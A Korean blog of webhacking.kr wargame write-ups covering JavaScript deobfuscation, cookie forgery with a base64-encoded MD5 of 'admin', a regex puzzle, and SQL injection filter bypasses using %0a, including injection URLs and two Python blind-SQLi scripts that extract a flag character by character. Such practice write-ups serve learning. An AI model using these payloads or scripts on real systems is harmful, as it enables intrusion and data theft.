늘모자란, 개발

늘모자란, 개발






뭔 타임리밋도 있고 프로그래밍도 하지말란다.
함부로 해선 안되는걸까? 소스를 읽도록 해보자


<html>
<head>
<title>Challenge 20</title>
<style type="text/css">
body { background:black; color:white; font-size:10pt; }
input { background:silver; color:black; font-size:9pt; }
</style>
</head>
<body>
<center><font size=2>time limit : 2</font></center>
<form name=lv5frm method=post>
<table border=0>
<tr><td>nickname</td><td><input type=text name=id size=10 maxlength=10></td></tr>
<tr><td>comment</td><td><input type=text name=cmt size=50 maxlength=50></td></tr>
<tr><td>code</td><td><input type=text name=hack><input type=button name=attackme value="phtleynvtp"
 style=border:0;background=lightgreen onmouseover=this.style.font=size=30 onmouseout=this.style.font=size=15></td></tr>
<tr><td><input type=button value="Submit" onclick=ck()></td><td><input type=reset></td></tr>
</table>
<script>
function ck()
{

if(lv5frm.id.value=="") { lv5frm.id.focus(); return; }
if(lv5frm.cmt.value=="") { lv5frm.cmt.focus(); return; }
if(lv5frm.hack.value=="") { lv5frm.hack.focus(); return; }
if(lv5frm.hack.value!=lv5frm.attackme.value) { lv5frm.hack.focus(); return; }

lv5frm.submit();

}
</script>

<br>

do not programming!<br>

this is javascript challenge

</body>
</html>




서브밋을 누르면 ck가 돌아간다.
얼추 읽어보니 빈값이면 안되게 폼을 처리하고 있는데, 왜 프로그래밍하지 말라는줄 알겠다.

여튼 보면

서브밋을 누르고 나면 시간이 2초간 주어지는데 2초만에 한번 더 인증을 하면 된다.
다음과 같이 콘솔에다 쳐놓고 그냥 클릭하다 보면 된다...

lv5frm.id.value="1";
lv5frm.cmt.value="2";
lv5frm.hack.value=lv5frm.attackme.value;
lv5frm.submit();
2016/03/29 13:05 2016/03/29 13:05

admin으로 로그인하는 문제겠다.
당연한말이지만 클릭하면 안된다. 그리고 별다른 소스도 없다.

trim 취약점인가 해서 양옆, 앞, 뒤에 공백을 넣어보내봤는데 안된다.
무엇인가 고민을 하다가 그냥 값을 바꿔서 1을 넣고 누르니 화면이 바뀌었다.



아이디를 쓰는걸 보니 뭔가 느낌이 왔다. 쿠키를 열어보니 역시 userid라는 쿠키가 생성되어 있었다.

YzRjYTQyMzhhMGI5MjM4MjBkY2M1MDlhNmY3NTg0OWI=


base64로 인코드되어 있는데 풀어보니

c4ca4238a0b923820dcc509a6f75849b


가 나왔다. md5 아니면 sha1같은데, 글자수를 세보면 정확히 알겠지만 그냥 여기서 돌려봤다.
md5이고, 1이라는 글자란다. 이제 쿠키 조작해줄일만 남았다.

admin을 md5로 변환시키고,
21232f297a57a5a743894a0e4a801fc3


base64화 해준후
MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM=


쿠키를 조작해 끼워넣었..더니...안된다. error란다. 뭐지?!;
내가 너무 어렵게 생각했나 -_-

그래서 너무 돌아왔나 싶어서 admin에서 admi+n으로 보내봤다.
패스........쉬바....

가끔은 너무 어렵게 생각하지 말고 단순하게 봐야되는 것 같다..... 얼척이 없네 ㅋㅋㅋ
2016/03/29 12:55 2016/03/29 12:55


싱거운 문제들의 연속이다가 다시 sql injection이 나왔다.
시키는데로 index.phps를 보도록 하자.

<html>
<head>
<title>Challenge 18</title>
<style type="text/css">
body { background:black; color:white; font-size:10pt; }
input { background:silver; }
a { color:lightgreen; }
</style>
</head>
<body>
<br><br>
<center><h1>SQL INJECTION</h1>
<form method=get action=index.php>
<table border=0 align=center cellpadding=10 cellspacing=0>
<tr><td><input type=text name=no></td><td><input type=submit></td></tr>
</table>
</form>
<a style=background:gray;color:black;width:100;font-size:9pt;><b>RESULT</b><br>
<?
if($_GET[no])
{

if(eregi(" |/|\(|\)|\t|\||&|union|select|from|0x",$_GET[no])) exit("no hack");

$q=@mysql_fetch_array(mysql_query("select id from challenge18_table where id='guest' and no=$_GET[no]"));

if($q[0]=="guest") echo ("hi guest");
if($q[0]=="admin")
{
@solve();
echo ("hi admin!");
}

}

?>
</a>
<br><br><a href=index.phps>index.phps</a>
</cener>
</body>
</html> 


no라는 파라미터를 받고..
eregi 로 필터링하고 있다. 뜬금없이 하는 말이지만 php7.0부터는 eregi 가 removed되었다. 쓰지말자.
쿼리문을 보면 이름부터 guest를 select하도록 되어있다. 그런데 우린 admin을 원한다. 따라서 이녀석을 깨야한다.
and값을 무효로 만들기 위해 일단 쓰레기값을 하나 넣는다. 그 뒤에 or을 넣어 새로운값을 select하도록 하자. 그리고 공백은 필터링되고 있으니, 여태 잘 써먹고 있는 %0a를 쓰자.

http://webhacking.kr/challenge/web/web-32/index.php?no=-1%0Aor%0Ano=2


solved!
2016/03/29 12:44 2016/03/29 12:44


문제가 똑같이 생기다보니 내가 쓴글에서 이미지를 재활용할 수 있다 오마이갓ㅋㅋㅋㅋ

<html>
<head>
<title>Challenge 17</title>
</head>
<body bgcolor=black>
<font color=red size=10></font>
<p>
<form name=login>
<input type=passwd name=pw><input type=button onclick=sub() value="check">


</form>



<script>

unlock=100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10+100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10-100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10+9999999999;

function sub(){ if(login.pw.value==unlock){ alert("Password is "+unlock/10); }else { alert("Wrong");  }}
</script>


보기만해도 현기증이 난다. 그치만 내가 누누히 강조하지만 요새 브라우저가 참 좋다.
console.log(unlock)을 개발자 콘솔에 쳐주고 그냥 넘어가자...
2016/03/29 12:35 2016/03/29 12:35


뜬금없이 별이 있다. 항상 문제를 보면 뜬금없는것 같다.

<html>
<head>
<title>Challenge 16</title>
<body bgcolor=black onload=kk(1,1) onkeypress=mv(event.keyCode)>
<font color=silver id=c></font>
<font color=yellow size=100 style=position:relative id=star>*</font>
<script> 
document.body.innerHTML+="<font color=yellow id=aa style=position:relative;left:0;top:0>*</font>";

function mv(cd)
{
kk(star.style.posLeft-50,star.style.posTop-50);
if(cd==100) star.style.posLeft=star.style.posLeft+50;
if(cd==97) star.style.posLeft=star.style.posLeft-50;
if(cd==119) star.style.posTop=star.style.posTop-50;
if(cd==115) star.style.posTop=star.style.posTop+50;
if(cd==124) location.href=String.fromCharCode(cd);
}


function kk(x,y)
{
rndc=Math.floor(Math.random()*9000000);
document.body.innerHTML+="<font color=#"+rndc+" id=aa style=position:relative;left:"+x+";top:"+y+" onmouseover=this.innerHTML=''>*</font>";
}

</script>
</body>
</html>




소스를 대강 보자.
body에 event가 걸려있다.
로드되면 kk(1,1)를 부르는데 kk는 9000000중 랜덤으로 하나를 뽑고 floor한다. 그러니까 즉 랜덤한 색을 고르는것이다. 인자로 받는 x,y는 좌표!
그리고 onkeypress에 뭘받던간에 mv를 콜하는데 별을 막 만들어낸다. 심심해서 좀 누르고 있어봤는데 좀 볼만하다. webhacking.kr에서 가장 예쁜 비주얼이 아닌가 싶다.


그리고 특이한게 마우스를 올리면 사라지게 되있다.
별? 꽃 구경은 그만하고. mv에 보면 location.href가 보인다. 저게 아마 최종골이려나 싶다.
body에서 onkeypress로 받는 event.KeyCode를 알아야 할 필요가 있다. 124는 무엇인가?
바로 or에 쓰는 | 라고 한다. 누른다. 해결된다.

이 문제는 IE에서 해야 정상작동이 된다 ㅡㅡ


2016/03/29 12:32 2016/03/29 12:32


15번 문제는 들어가기도 전에 쫓아낸다.
그런데 우린 basic auth도 당해본 사람들이다. 이건 딱봐도 js의 alert창이다.

쫓아내도 일단 물러가지말고 웹디버거나, 스크립트를 끄고 페이지에 들어가보자.

<html>
<head>
<title>Challenge 15</title>
</head>
<body>
<script>
alert("Access_Denied");
history.go(-1);
document.write("password is off_script");
</script>
</body>


js를 어설프게 보안에 사용하지 말자..는 교훈....을 남기는 50점짜리 문제다...
2016/03/29 12:19 2016/03/29 12:19

100점짜리 입가심같은 문제.
문제가 참 휑하다...

<html>
<head>
<title>Challenge 14</title>
<style type="text/css">
body { background:black; color:white; font-size:10pt; }
</style>
</head>
<body>
<br><br>
<form name=pw><input type=text name=input_pwd><input type=button value="check" onclick=ck()></form>
<script>
function ck()
{
var ul=document.URL;
ul=ul.indexOf(".kr");
ul=ul*30;
if(ul==pw.input_pwd.value) { alert("Password is "+ul*pw.input_pwd.value); }
else { alert("Wrong"); }
}

</script>


</body>
</html>


ul이라고 URL을 받아온다음에, 계산을 한다.
ul에서 indexOf를 사용하여 .kr의 위치를 찾으면 대략 http://webhacking.kr 이라 17이 나온다.
이 값에서 17*30을 해주면 510이다.

alert으로 나오는 값을 Auth 해주면된다.....
2016/03/29 12:16 2016/03/29 12:16


무려 1천점짜리 문제.. 제목도 그렇지만 SQL injection 문제라고 한다.
곧이 곧대로 적어서 보내보니 no hack이라고 뜬다

여러 질의를 해봤는데, 값은 1과 0으로 나오는거 같다. 그리고 이것저것 쳐보니 select는 안걸리는데, 공백이 걸리는것 같다.
개행을 이용한 공격에서 사용했듯, %0a를 적어서 쿼리를 해보니 걸리진 않는것 같다.

첫 시도는 그래서 개행을 모두 %0A로 변경해서 다음과 같이 날려봤다.

select%0Aflag%0Afrom%0Aprob13password


result가 0이 나온다. 보니까 false를 의미하는것 같다. 여기까지 공백으로 우회되는걸 확인해봤으니 억지로 true로 만들어볼 차례.

1%0Aor%0A1


1 or 1 을 날려보니 result가 1로 반환되었다. T/F가 맞는것 같다.
IF를 이용한 공격 에서 써먹었던 IF로 반환되는 값을 체크하도록 해보자.

처음 접근은 거의 완전히 똑같이 length로 접근했다. URL은 모양은 다음과 같다.
http://webhacking.kr/challenge/web/web-10/?no=IF((select%0alength(flag)%0afrom%0aprob13password)in(37),1,2)


근데 50자리까지 length를 돌렸는데 잘 안되었다. 뭐가 문제인가 고민을 하는 시간을 가졌다..
결국 쿼리를 직접 따와서 내가 한번 돌려봤더니 다음과 같은 에러가 나왔다.

Subquery returns more than 1 row


그러니까 즉, 이 테이블에는 row가 1개 이상인것이다. 정답만 있는게 아니다. limit를 이용해서 강제로 select해보려고 했으나 no hack이라고 나왔다. 즉 접근 자체는 맞는것 같다. count를 이용해서 flag가 몇개인지 세어볼 필요가 있었다.

#!/usr/bin/env python
# -*- coding: utf8 -*-
 
import urllib, urllib2, re
 
sess = ""

headers = {'Host': 'webhacking.kr',
           'Cookie': "PHPSESSID={}".format(sess)
          }

for i in range(1,10):
    url = 'http://webhacking.kr/challenge/web/web-10/?no=(select(count(flag))from%0aprob13password)in({})'.format(i)
    
    req = urllib2.Request(url, '', headers)
    response = urllib2.urlopen(req).read()

    if ("<td>1</td>" in response):
        print "count flag --", i


드디어 뭔가 결과를 얻은 기분. 2가 나왔다. 다시 length를 뽑아보자.

http://webhacking.kr/challenge/web/web-10/?no=(select%0alength(max(flag))%0afrom%0aprob13password)%0ain({})


max, min을 차례로 넣어준다.

여기서 얻은 값은

min일 경우 20이 나온다.
max일 경우 4

암만봐도 min, 즉 첫번째 row가 비밀번호겠지만 궁금해진다.
문제는 다 푼것 같지만 max엔 뭐가 있을까? 한번 해보기로 한다. hex값으로 맞추는건 위에 IF를 어쩌고 링크에 있다

#!/usr/bin/env python
# -*- coding: utf8 -*-
 
import urllib, urllib2, re
 
sess = ""

headers = {'Host': 'webhacking.kr',
           'Cookie': "PHPSESSID={}".format(sess)
          }
pw = ''
for i in range(1,5):
    for j in range(32,123):
        url = 'http://webhacking.kr/challenge/web/web-10/?no=(select%0asubstr(max(flag),{},1)%0afrom%0aprob13password)%0ain({})'.format(i,hex(j))
        print url

        req = urllib2.Request(url, '', headers)
        response = urllib2.urlopen(req).read()
        #print response

        if ("<td>1</td>" in response):
            pw = pw + chr(j)
            break
print pw



참 시덥지 않은 값이 나온다. 따로 돌려보는걸 권하진 않는다. 어쨌든 이렇게 해결..
challenge 9를 선행했다면 크게 어렵진않은것 같다. 다만 sql 쿼리가 정식 IDE? 같은게 아니다 보니 괄호실수가 엄청 잦다. 시간 대부분 괄호맞추고 그러느라 허비한것 같다....

덧. 나는 값이 대문자로 나왔는데, 소문자로 입력해야한다.
2016/03/29 12:05 2016/03/29 12:05
들어가면 'javascript challenge'라고 두 단어적혀있다. 굳이 스크린샷 뜨는게 낭비인것 같다.

소스를 보면 다음과 같이 적혀있다.


<html>
<head>
<title>Challenge 12</title>
<style type="text/css">
body { background: black; color:white; font-size:10pt; }
</style>
</head>
<body>

<script>
WorkTimeFun=String.fromCharCode(118,97,114,32,101,110,99,111,61,39,39,59,13,10,118,97,114,32,101,110,99,111,50,61,49,50,54,59,13,10,118,97,114,32,101,110,99,111,51,61,51,51,59,13,10,118,97,114,32,99,107,61,100,111,99,117,109,101,110,116,46,85,82,76,46,115,117,98,115,116,114,40,100,111,99,117,109,101,110,116,46,85,82,76,46,105,110,100,101,120,79,102,40,39,61,39,41,41,59,13,10,32,13,10,32,13,10,102,111,114,40,105,61,49,59,105,60,49,50,50,59,105,43,43,41,13,10,123,13,10,101,110,99,111,61,101,110,99,111,43,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,105,44,48,41,59,13,10,125,13,10,32,13,10,102,117,110,99,116,105,111,110,32,101,110,99,111,95,40,120,41,13,10,123,13,10,114,101,116,117,114,110,32,101,110,99,111,46,99,104,97,114,67,111,100,101,65,116,40,120,41,59,13,10,125,13,10,32,13,10,105,102,40,99,107,61,61,34,61,34,43,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,101,110,99,111,95,40,50,52,48,41,41,43,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,101,110,99,111,95,40,50,50,48,41,41,43,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,101,110,99,111,95,40,50,51,50,41,41,43,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,101,110,99,111,95,40,49,57,50,41,41,43,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,101,110,99,111,95,40,50,50,54,41,41,43,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,101,110,99,111,95,40,50,48,48,41,41,43,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,101,110,99,111,95,40,50,48,52,41,41,43,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,101,110,99,111,95,40,50,50,50,45,50,41,41,43,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,101,110,99,111,95,40,49,57,56,41,41,43,34,126,126,126,126,126,126,34,43,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,101,110,99,111,50,41,43,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,101,110,99,111,51,41,41,13,10,123,13,10,97,108,101,114,116,40,34,80,97,115,115,119,111,114,100,32,105,115,32,34,43,99,107,46,114,101,112,108,97,99,101,40,34,61,34,44,34,34,41,41,59,13,10,125,13,10);

eval(WorkTimeFun);

</script>

<font size=2>javascript challenge</font>
</body>
</html>


필터링을 피해 XSS를 걸때 주로 사용되는 방법으로, fromCharCode를 하면 저녀석들을 브라우저가 알아서 해석해 돌리게 된다.
옛날엔 어떻게 해독을 했을지 모르겠는데 요새는 브라우저가 너무 좋아졌다.
String.fromCharCode부터 쭉 복사해서 개발자도구를 열고 콘솔에 엔터 한번 쳐준다.

var enco='';
var enco2=126;
var enco3=33;
var ck=document.URL.substr(document.URL.indexOf('='));
 
 
for(i=1;i<122;i++)
{
enco=enco+String.fromCharCode(i,0);
}
 
function enco_(x)
{
return enco.charCodeAt(x);
}
 
if(ck=="="+String.fromCharCode(enco_(240))+String.fromCharCode(enco_(220))+String.fromCharCode(enco_(232))+String.fromCharCode(enco_(192))+String.fromCharCode(enco_(226))+String.fromCharCode(enco_(200))+String.fromCharCode(enco_(204))+String.fromCharCode(enco_(222-2))+String.fromCharCode(enco_(198))+"~~~~~~"+String.fromCharCode(enco2)+String.fromCharCode(enco3))
{
alert("Password is "+ck.replace("=",""));
}


원래의 코드가 등장했다.
약한 느낌으로 난독화 되어 있기때문에 얘도 읽는 성의를 들여야한다. 그치만 우린 귀찮으니까 브라우저의 똑똑함에 맡겨가며 읽어보자.

for(i=1... 이 구문은 척 봐도 CharCode대로 enco에 다 넣어주는 코드다.
일일히 돌려보기 귀찮은 사람은 그냥 alert(enco); 하면 다 나온다.

여튼 얻은 값은 다음과 같다. 깨진 문자열이 있어서 복사는 제대로 안된다. (아스키코드에 기반하므로)



느낌이 오겠지만 얘는 아마 문자열 배열처럼 쓰일것 같다.
function은 넘어가고, 아주 길어보이는 if문을 보자. 아주 길어보이지만 사실 별거 없다.
보자고 했지만 얘네를 또 모조리 다 읽어야할까? 역시 당연히 아니다. 원리는 enco_ 라는 함수로 한번더 꼬은것뿐, String.fromCharCode와 결국 원리는 거의 같다.
이녀석을 읽는데 시간투자하지 말고, 그냥 복사해서 console.log로 찍어보자. 정답이 나온다. Auth 해주면 풀이 완료.
2016/03/28 22:04 2016/03/28 22:04


GET파라미터, val에 위 정규식을 만족하는 문장을 넣어야 하는 모양이다.
지운 하얀색부분엔 내 아이피가 적혀있다. 정규식은 그럼 어떻게 읽어야하는가?
모두 다 알고 있으면 아주 좋겠으나 이제 배우는 사람도 있지 않겠나라고 말하지만 나도 읽을줄 모르니 내가 즐겨 사용하는 정규식 사이트에 들어가서 해설을 보도록 한다

        [1-3] match a single character present in the list below
            1-3 a single character in the range between 1 and 3
        [a-f]{5} match a single character present in the list below
            Quantifier: {5} Exactly 5 times
            a-f a single character in the range between a and f (case sensitive)
        _ matches the character _ literally
        .* matches any character (except newline)
            Quantifier: * Between zero and unlimited times, as many times as possible, giving back as needed [greedy]
        (IP A) matches the characters 115 literally
        . matches any character (except newline)
        (IP B) matches the characters 145 literally
        . matches any character (except newline)
        (IP C) matches the characters 179 literally
        . matches any character (except newline)
        (IP D) matches the characters 30 literally
        .* matches any character (except newline)
            Quantifier: * Between zero and unlimited times, as many times as possible, giving back as needed [greedy]
        \t Tab (ASCII 9)
        p matches the character p literally (case sensitive)
        \t Tab (ASCII 9)
        a matches the character a literally (case sensitive)
        \t Tab (ASCII 9)
        s matches the character s literally (case sensitive)
        \t Tab (ASCII 9)
        s matches the character s literally (case sensitive)


해석이 나온다. 보기만해도 현기증이 나오는 영어들이지만 어쩌겠나
하나씩 보면,

[1-3] 은 1과 3사이의 숫자를 입력
[a-f] 는 a부터 f사이의 알파벳인데, 뒤에 {5}가 붙어있다. (5회 반복)
_는 말그대로 _를 붙이는거고,
.*는 any character를 넣어야 되니 그냥 알파벳을 아무거나 적어준다.
이후에 아이피들을 쭉 적어주고.
다시 .*가 나타나니 아무거나 적어준다. 지금까지 만들어진걸 보면 이런 모양이다.



깔끔하게 매치됐다. 문제는 뒤쪽인데, 탭문자가 들어가있다. 탭은 urlencode해서 넣어줘야한다. 요기서는 탭을 감지를 못한다.
url을 완성해서 엔터를 치면 끝. 대략 이런 모양이 된다.

http://webhacking.kr/challenge/codeing/code2.html?val=1fffff_f123.567.222.222a%09p%09a%09s%09s



2016/03/28 21:47 2016/03/28 21:47